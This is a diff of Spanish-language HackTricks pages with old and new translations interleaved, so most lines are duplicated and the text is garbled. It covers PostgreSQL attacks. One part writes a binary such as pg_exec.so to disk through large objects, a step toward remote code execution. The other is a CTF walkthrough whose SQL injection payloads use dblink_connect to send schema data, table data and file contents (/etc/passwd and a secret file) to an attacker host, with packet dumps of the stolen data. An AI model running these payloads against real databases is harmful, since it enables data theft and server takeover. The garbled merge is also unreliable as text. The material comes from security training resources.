Para **guardar un archivo completo dentro de esta tabla**, primero necesitas **crear un objeto** dentro de la tabla mencionada (identificado por un **LOID**) y luego **insertar fragmentos de 2KB** dentro de este objeto. Es muy importante que todos los **fragmentos tengan 2KB** (excepto posiblemente el último) **o** la función de **exportación** al sistema de archivos **no funcionará**.
Para **dividir** tu **binario** en **fragmentos** de tamaño **2KB** puedes hacer:
```bash
split -b 2048 pg_exec.so #This will create files of size 2KB
```
Para codificar cada uno de los archivos creados en Base64 o Hex, puedes utilizar:
Para codificar cada uno de los archivos creados a Base64 o Hex puedes usar:
```bash
base64 -w 0 <Chunk_file> #Encoded in 1 line
xxd -ps -c 99999999999 <Chunk_file> #Encoded in 1 line
```
{% hint style="info" %}
Al explotar esto, recuerda que debes enviar **trozos de 2KB de bytes de texto claro** (no 2KB de bytes codificados en base64 o hexadecimales). Si intentas automatizar esto, el tamaño de un archivo codificado en **hexadecimal** es el **doble** (entonces necesitas enviar 4KB de datos codificados para cada trozo) y el tamaño de un archivo codificado en **base64** es `ceil(n / 3) * 4`.
Al explotar esto, recuerda que debes enviar **fragmentos de 2KB de bytes en texto claro** (no 2KB de bytes codificados en base64 o hex). Si intentas automatizar esto, el tamaño de un archivo **codificado en hex** es el **doble** (entonces necesitas enviar 4KB de datos codificados para cada fragmento) y el tamaño de un archivo codificado en **base64** es `ceil(n / 3) * 4`
{% endhint %}
Además, para depurar el proceso, puedes ver el contenido de los grandes objetos creados con:
También, al depurar el proceso puedes ver el contenido de los objetos grandes creados con:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
# Usando lo\_creat y Base64
# Uso de lo\_creat & Base64
Primero, necesitamos crear un LOID donde se guardará los datos binarios:
Primero, necesitamos crear un LOID donde se guardará el dato binario:
```sql
SELECT lo_creat(-1); -- returns OID of new, empty large object
SELECT lo_create(173454); -- attempts to create large object with OID 43213
```
Si estás abusando de una **Inyección SQL ciega**, estarás más interesado en usar `lo_create` con un **LOID fijo** para que sepas dónde tienes que **subir** el **contenido**.\
Además, ten en cuenta que no hay error de sintaxis, las funciones son `lo_creat` y `lo_create`.
Si estás explotando una **Blind SQLinjection**, te interesará más usar `lo_create` con un **LOID fijo** para que **sepas dónde** tienes que **subir** el **contenido**.\
También, ten en cuenta que no hay error de sintaxis, las funciones son `lo_creat` y `lo_create`.
LOID se utiliza para identificar el objeto en la tabla `pg_largeobject`. La inserción de fragmentos de tamaño 2KB en la tabla `pg_largeobject` se puede lograr utilizando:
```sql
@ -37,47 +52,62 @@ INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 0, decode('<B64
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 1, decode('<B64 chunk2>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) values (173454, 3, decode('<B64 chunk2>', 'base64'));
```
Finalmente, puedes exportar el archivo al sistema de archivos haciendo (durante este ejemplo se usó el LOID `173454`):
Finalmente, puedes exportar el archivo al sistema de archivos ejecutando (durante este ejemplo se utilizó el LOID `173454`):
```sql
SELECT lo_export(173454, '/tmp/pg_exec.so');
```
{% hint style="info" %}
Ten en cuenta que en las versiones más recientes de postgres es posible que necesites **subir las extensiones sin indicar ninguna ruta**. [**Lee esto para obtener más información**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
Tenga en cuenta que en las versiones más recientes de postgres puede que necesite **subir las extensiones sin indicar ningún camino** en absoluto. [**Lea esto para más información**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
Es posible que estés interesado en eliminar el objeto grande creado después de exportarlo:
Posiblemente esté interesado en eliminar el objeto grande creado después de exportarlo:
```sql
SELECT lo_unlink(173454); -- deletes large object with OID 173454
```
# Usando lo\_import y Hex
# Uso de lo\_import & Hex
En este escenario se va a utilizar lo\_import para crear un objeto de gran tamaño. Afortunadamente, en este caso se puede (y no se puede) especificar el LOID que se desea utilizar:
En este escenario se utilizará lo\_import para crear un objeto de gran tamaño. Afortunadamente, en este caso puedes (y no puedes) especificar el LOID que querrías usar:
```sql
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts');
select lo_import('C:\\Windows\\System32\\drivers\\etc\\hosts', 173454);
```
Después de crear el objeto, puedes comenzar a insertar los datos en cada página (recuerda que debes insertar fragmentos de 2KB):
Después de crear el objeto, puedes comenzar a insertar los datos en cada página (recuerda, debes insertar fragmentos de 2KB):
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=2;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=3;
```
El HEX debe ser solo el hexadecimal (sin `0x` o `\x`), ejemplo:
El HEX debe ser solo el hex (sin `0x` o `\x`), ejemplo:
```sql
update pg_largeobject set data=decode('68656c6c6f', 'hex') where loid=173454 and pageno=0;
```
Finalmente, exporte los datos a un archivo y elimine el objeto grande:
```sql
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
select lo_export(173454, 'C:\\path\to\pg_extension.dll');
select lo_unlink(173454); -- deletes large object with OID 173454
```
{% hint style="info" %}
Ten en cuenta que en las versiones más recientes de postgres es posible que necesites **subir las extensiones sin indicar ninguna ruta**. [**Lee esto para obtener más información**](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
Tenga en cuenta que en las versiones más recientes de postgres puede ser necesario **subir las extensiones sin indicar ningún camino** en absoluto. [**Lea esto para más información**.](rce-with-postgresql-extensions.md#rce-in-newest-prostgres-versions)
{% endhint %}
# Limitaciones
Después de leer la documentación de los grandes objetos en PostgreSQL, podemos descubrir que **los grandes objetos pueden tener ACL** (Lista de Control de Acceso). Es posible configurar **nuevos grandes objetos** para que tu usuario **no tenga suficientes privilegios** para leerlos, incluso si fueron creados por tu usuario.
Después de leer la documentación de objetos grandes en PostgreSQL, podemos descubrir que **los objetos grandes pueden tener ACL** (Lista de Control de Acceso). Es posible configurar **nuevos objetos grandes** para que su usuario **no tenga suficientes privilegios** para leerlos, incluso si fueron creados por su usuario.
Sin embargo, puede haber **un objeto antiguo con una ACL que permita al usuario actual leerlo**, entonces podemos exfiltrar el contenido de ese objeto.
Sin embargo, puede haber **objetos antiguos con una ACL que permite al usuario actual leerlo**, entonces podemos exfiltrar el contenido de ese objeto.
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si desea ver su **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulte los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtenga el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únase al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígame** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparta sus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,40 +2,38 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Este es un ejemplo de cómo exfiltrar datos cargando archivos en la base de datos con `lo_import` y exfiltrarlos usando `dblink_connect`.**
**Este es un ejemplo de cómo exfiltrar datos cargando archivos en la base de datos con `lo_import` y exfiltrarlos utilizando `dblink_connect`.**
## Preparando el servidor de exfiltración/Inyección SQL asíncrona
## Preparando el servidor de exfiltración/Inyección SQL Asíncrona
**Extraído de:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
Debido a que `pg_sleep` tampoco causa retrasos, podemos asumir con seguridad si la ejecución de la consulta ocurre en segundo plano o de forma asíncrona.
Debido a que `pg_sleep` tampoco causa retraso, podemos asumir con seguridad que la ejecución de la consulta ocurre en segundo plano o de manera asíncrona.
Normalmente, `dblink_connect` se puede utilizar para abrir una conexión persistente a una base de datos PostgreSQL remota (por ejemplo, `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Debido a que podemos controlar el parámetro de esta función, podemos realizar una solicitud de falsificación de petición del lado del servidor SQL a nuestro propio host. Eso significa que podemos realizar una inyección SQL fuera de banda para exfiltrar datos de los resultados de la consulta SQL. Al menos, hay dos formas de hacer esto:
Normalmente, `dblink_connect` se puede usar para abrir una conexión persistente con una base de datos PostgreSQL remota (por ejemplo, `SELECT dblink_connect('host=HOST user=USER password=PASSWORD dbname=DBNAME')`). Dado que podemos controlar el parámetro de esta función, podemos realizar un SQL Server Side Request Forgery a nuestro propio host. Eso significa que podemos realizar una Inyección SQL Out-of-Band para exfiltrar datos de los resultados de la consulta SQL. Al menos, hay dos maneras de hacer esto:
1. Configurar un **servidor DNS** y luego activar la conexión a `[data].our.domain` para que podamos ver los datos en el registro o en los paquetes de red DNS.
2. Configurar un **servidor PostgreSQL público, monitorear los paquetes de red entrantes al puerto PostgreSQL**, y luego activar una conexión a nuestro host con los datos exfiltrados como `user`/`dbname`. Por **defecto**, PostgreSQL no utiliza SSL para la comunicación, por lo que podemos ver `user`/`dbname` como un texto plano en la red.
2. Configurar un **servidor PostgreSQL público, monitorear los paquetes de red entrantes al puerto de PostgreSQL**, y luego activar una conexión a nuestro host con los datos exfiltrados como `user`/`dbname`. Por **defecto**, PostgreSQL no utiliza SSL para la comunicación, por lo que podemos ver `user`/`dbname` como un **texto plano** en la red.
El **segundo método es más fácil** porque no necesitamos ningún dominio. Solo necesitamos configurar un servidor con una dirección IP pública, instalar PostgreSQL, configurar el servicio de PostgreSQL para que escuche en \*/0.0.0.0, y ejecutar un capturador de red (por ejemplo, tcpdump) para monitorear el tráfico al puerto PostgreSQL (5432 por defecto).
El **segundo método es más fácil** porque no necesitamos ningún dominio. Solo necesitamos configurar un servidor con una IP pública, instalar PostgreSQL, configurar el servicio de PostgreSQL para que escuche en \*/0.0.0.0 y ejecutar un volcador de red (por ejemplo, tcpdump) para monitorear el tráfico al puerto de PostgreSQL (5432 por defecto).
Para configurar PostgreSQL para que **escuche en público**, establezca `listen_addresses` en `postgresql.conf` en `*`.
Para configurar PostgreSQL para que **escuche al público**, establece `listen_addresses` en `postgresql.conf` a `*`.
```
listen_addresses = '*'
```
Para monitorear el tráfico entrante, ejecuta `tcpdump` para monitorear el puerto 5432.
Para monitorear el tráfico entrante, ejecute `tcpdump` para monitorear el puerto 5432.
```
sudo tcpdump -nX -i eth0 port 5432
```
@ -43,113 +41,113 @@ Para ver si obtenemos una conexión desde el objetivo, podemos intentar usar est
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=farisv password=postgres dbname=hellofromfb')) --
```
Si tenemos éxito, obtendremos un fragmento de paquete de red con el `usuario` y `dbname` legibles.
Si tiene éxito, obtenemos un fragmento de paquete de red con `user` y `dbname` legibles.
```
17:14:11.267060 IP [54.185.163.254.50968] > [REDACTED]: Flags [P.], seq 1:43, ack 1, win 229, options [nop,nop,TS val 970078525 ecr 958693110], length 42
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
0x0000: 4500 005e 9417 4000 2706 248c 36b9 a3fe E..^..@.'.$.6...
0x0010: 9de6 2259 c718 2061 5889 142a 9f8a cb5d .."Y...aX..*...]
0x0020: 8018 00e5 1701 0000 0101 080a 39d2 393d ............9.9=
0x0030: 3924 7ef6 0000 002a 0003 0000 7573 6572 9$~....*....user
0x0040: 0066 6172 6973 7600 6461 7461 6261 7365 .farisv.database
0x0050: 0068 656c 6c6f 6672 6f6d 6662 0000 .hellofromfb.
```
Entonces, podemos continuar extrayendo la base de datos usando varias consultas de PostgreSQL. Tenga en cuenta que para cada resultado de consulta que contenga espacios en blanco, debemos convertir el resultado a hex/base64 con la función `encode` o reemplazar el espacio en blanco por otro carácter con la función `replace`, ya que esto causará un error de ejecución durante el proceso de `dblink_connect`.
Luego, podemos **continuar extrayendo la base de datos utilizando varias consultas de PostgreSQL**. Ten en cuenta que para cada resultado de consulta que contenga espacios en blanco, necesitamos convertir el resultado a **hex/base64** con la función `encode` o reemplazar el espacio en blanco por otro carácter con la función `replace` porque causará un error de ejecución durante el proceso de `dblink_connect`.
Obtener una **lista** de **esquemas**:
Obtener un **listado** de **esquemas**:
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(schema_name,':') FROM information_schema.schemata) || ' password=postgres dbname=postgres')) --
```
```
17:36:46.538178 IP 54.185.163.254.51018 > [REDACTED]: Flags [P.], seq 1:70, ack 1, win 229, options [nop,nop,TS val 971433789 ecr 960048322], length 69
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
0x0070: 6f73 7467 7265 7300 00 ostgres.
0x0000: 4500 0079 ecd5 4000 2706 cbb2 36b9 a3fe E..y..@.'...6...
0x0010: 9de6 2259 c74a 2061 1e74 4769 b404 803d .."Y.J.a.tGi...=
0x0020: 8018 00e5 2710 0000 0101 080a 39e6 e73d ....'.......9..=
0x0030: 3939 2cc2 0000 0045 0003 0000 7573 6572 99,....E....user
0x0040: 0070 7562 6c69 633a 696e 666f 726d 6174 .public:informat
0x0050: 696f 6e5f 7363 6865 6d61 3a70 675f 6361 ion_schema:pg_ca
0x0060: 7461 6c6f 6700 6461 7461 6261 7365 0070 talog.database.p
0x0070: 6f73 7467 7265 7300 00 ostgres.
```
Obtener una **lista** de **tablas** en el esquema actual:
Obtén un **listado** de **tablas** en el esquema actual:
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(tablename, ':') FROM pg_catalog.pg_tables WHERE schemaname=current_schema()) || ' password=postgres dbname=postgres')) --
```
```
17:38:30.515438 IP 54.185.163.254.51026 > [REDACTED]: Flags [P.], seq 1:42, ack 1, win 229, options [nop,nop,TS val 971537775 ecr 960152304], length 41
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
0x0000: 4500 005d f371 4000 2706 c532 36b9 a3fe E..].q@.'..26...
0x0010: 9de6 2259 c752 2061 8dd4 e226 24a3 a5c5 .."Y.R.a...&$...
0x0020: 8018 00e5 fe2b 0000 0101 080a 39e8 7d6f .....+......9.}o
0x0030: 393a c2f0 0000 0029 0003 0000 7573 6572 9:.....)....user
0x0040: 0073 6561 7263 6865 7300 6461 7461 6261 .searches.databa
0x0050: 7365 0070 6f73 7467 7265 7300 00 se.postgres.
```
**Contar** las **filas** en la tabla `searches`.
**Cuenta** las **filas** en la tabla `searches`.
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT COUNT(*) FROM searches) || ' password=postgres dbname=postgres')) --
```
```
17:42:39.511643 IP 54.185.163.254.51034 > [REDACTED]: Flags [P.], seq 1:35, ack 1, win 229, options [nop,nop,TS val 971786760 ecr 960401280], length 34
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
0x0050: 6772 6573 0000 gres.
0x0000: 4500 0056 7982 4000 2706 3f29 36b9 a3fe E..Vy.@.'.?)6...
0x0010: 9de6 2259 c75a 2061 5ec0 7df0 8611 357d .."Y.Z.a^.}...5}
0x0020: 8018 00e5 f855 0000 0101 080a 39ec 4a08 .....U......9.J.
0x0030: 393e 8f80 0000 0022 0003 0000 7573 6572 9>....."....user
0x0040: 0030 0064 6174 6162 6173 6500 706f 7374 .0.database.post
0x0050: 6772 6573 0000 gres.
```
Parece que solo hay una tabla vacía en el esquema actual y la bandera no está en la base de datos. Realmente necesitamos exfiltrar datos de `/var/lib/postgresql/data/secret`. Desafortunadamente, si intentamos usar `pg_read_file` o `pg_read_binary_file` para leer el archivo, no obtendremos una conexión entrante, por lo que el usuario actual puede no tener permiso para usar estas funciones.
Parece que solo hay una tabla vacía en el esquema actual y la bandera no está en la base de datos. Realmente podríamos necesitar exfiltrar datos de `/var/lib/postgresql/data/secret`. Desafortunadamente, si intentamos usar `pg_read_file` o `pg_read_binary_file` para leer el archivo, no obtendremos una conexión entrante, por lo que el usuario actual puede no tener permiso para usar estas funciones.
#### Más información sobre la inyección de SQL asincrónica con PostgreSQL
#### Más información sobre SQLInjection asincrónica con postdresql
* [https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
## **Exfiltrando contenidos de objetos grandes**
## **Exfiltración del contenido de objetos grandes**
Es posible leer archivos usando objetos grandes ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). Podemos usar `lo_import` para cargar el contenido del archivo en el catálogo `pg_largeobject`. Si la consulta tiene éxito, obtendremos el `oid` del objeto.
Es posible leer archivos usando objetos grandes ([https://www.postgresql.org/docs/11/lo-funcs.html](https://www.postgresql.org/docs/11/lo-funcs.html)). Podemos usar `lo_import` para cargar el contenido del archivo en el catálogo `pg_largeobject`. Si la consulta es exitosa, obtendremos el `oid` del objeto.
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT lo_import('/var/lib/postgresql/data/secret')) || ' password=postgres dbname=postgres')) --
```
```
17:54:51.963925 IP 54.185.163.254.51046 > [REDACTED]: Flags [P.], seq 1:39, ack 1, win 229, options [nop,nop,TS val 972519214 ecr 961133706], length 38
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
0x0050: 706f 7374 6772 6573 0000 postgres..
0x0000: 4500 005a 071f 4000 2706 b188 36b9 a3fe E..Z..@.'...6...
0x0010: 9de6 2259 c766 2061 26fb c8a7 bbb3 fe01 .."Y.f.a&.......
0x0020: 8018 00e5 2272 0000 0101 080a 39f7 772e ...."r......9.w.
0x0030: 3949 bc8a 0000 0026 0003 0000 7573 6572 9I.....&....user
0x0040: 0032 3436 3638 0064 6174 6162 6173 6500 .24668.database.
0x0050: 706f 7374 6772 6573 0000 postgres..
```
Obtuvimos 24668 como `oid`, lo que significa que podemos usar la función `lo_import`. Desafortunadamente, no obtendremos ningún resultado si intentamos obtener el contenido del objeto grande usando `lo_get(24668)` o acceder directamente al catálogo `pg_largeobject`. **Parece que el usuario actual no tiene permiso para leer el contenido de los nuevos objetos.**
Después de leer la documentación de objetos grandes en PostgreSQL, podemos descubrir que **los objetos grandes pueden tener una ACL** (Lista de Control de Acceso). Eso significa que, si hay un objeto antiguo con una ACL que permite al usuario actual leerlo, entonces podemos exfiltrar el contenido de ese objeto.
Después de leer la documentación de objetos grandes en PostgreSQL, podemos descubrir que **los objetos grandes pueden tener ACL** (Lista de Control de Acceso). Eso significa que, si hay un objeto antiguo con un ACL que permite al usuario actual leerlo, entonces podemos exfiltrar el contenido de ese objeto.
Podemos obtener una lista de `oid` de objetos grandes disponibles extrayéndolos de `pg_largeobject_metadata`.
Podemos obtener una lista de `oid` de objetos grandes disponibles extrayendo de `pg_largeobject_metadata`.
```
asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT string_agg(cast(l.oid as text), ':') FROM pg_largeobject_metadata l) || ' password=postgres dbname=postgres')) --
```
```
18:06:57.172285 IP 54.185.163.254.51052 > [REDACTED]: Flags [.], seq 1:2897, ack 1, win 229, options [nop,nop,TS val 973244413 ecr 961858878], length 2896
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
0x0000: 4500 0b84 7adf 4000 2606 339e 36b9 a3fe E...z.@.&.3.6...
0x0010: 9de6 2259 c76c 2061 8d76 e934 10c9 3972 .."Y.l.a.v.4..9r
0x0020: 8010 00e5 a66d 0000 0101 080a 3a02 87fd .....m......:...
0x0030: 3954 cd3e 0000 1c94 0003 0000 7573 6572 9T.>........user
0x0040: 0031 3635 3731 3a31 3634 3339 3a31 3635 .16571:16439:165
0x0050: 3732 3a31 3634 3431 3a31 3634 3432 3a31 72:16441:16442:1
0x0060: 3733 3732 3a31 3634 3434 3a31 3634 3435 7372:16444:16445
0x0070: 3a31 3831 3534 3a31 3733 3830 3a31 3737 :18154:17380:177
0x0080: 3038 3a31 3635 3737 3a31 3634 3530 3a31 08:16577:16450:1
0x0090: 3634 3531 3a31 3634 3532 3a31 3634 3533 6451:16452:16453
.....
.....
.....
```
Tenemos un montón de `oid`s. Podemos intentar usar `lo_get` para cargar el contenido del objeto. Por ejemplo, `lo_get(16439)` cargará el contenido de `/etc/passwd`. Debido a que el resultado de `lo_gets` es `bytea`, necesitamos convertirlo a `UTF8` para que se pueda agregar en la consulta.
Obtuvimos un montón de `oid`s. Podemos intentar usar `lo_get` para cargar el contenido del objeto. Por ejemplo, `lo_get(16439)` cargará el contenido de `/etc/passwd`. Debido a que el resultado de `lo_gets` es `bytea`, necesitamos convertirlo a `UTF8` para que pueda ser añadido en la consulta.
Podemos intentar cargar algunos objetos con el `oid` más bajo para averiguar si el archivo de la bandera ha sido cargado antes. El objeto del archivo de la bandera existe con `oid` 16444. No hay espacios en blanco en la bandera, por lo que podemos mostrarla tal cual.
Podemos intentar cargar algunos objetos con el `oid` más bajo para averiguar si el archivo de la bandera ha sido cargado anteriormente. El objeto del archivo de la bandera sí existe con `oid` 16444. No hay espacios en blanco en la bandera, así que podemos mostrarla tal cual.
Para cargar la bandera:
```
@ -162,16 +160,14 @@ asd' UNION SELECT 1,(SELECT dblink_connect('host=IP user=' || (SELECT convert_fr
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
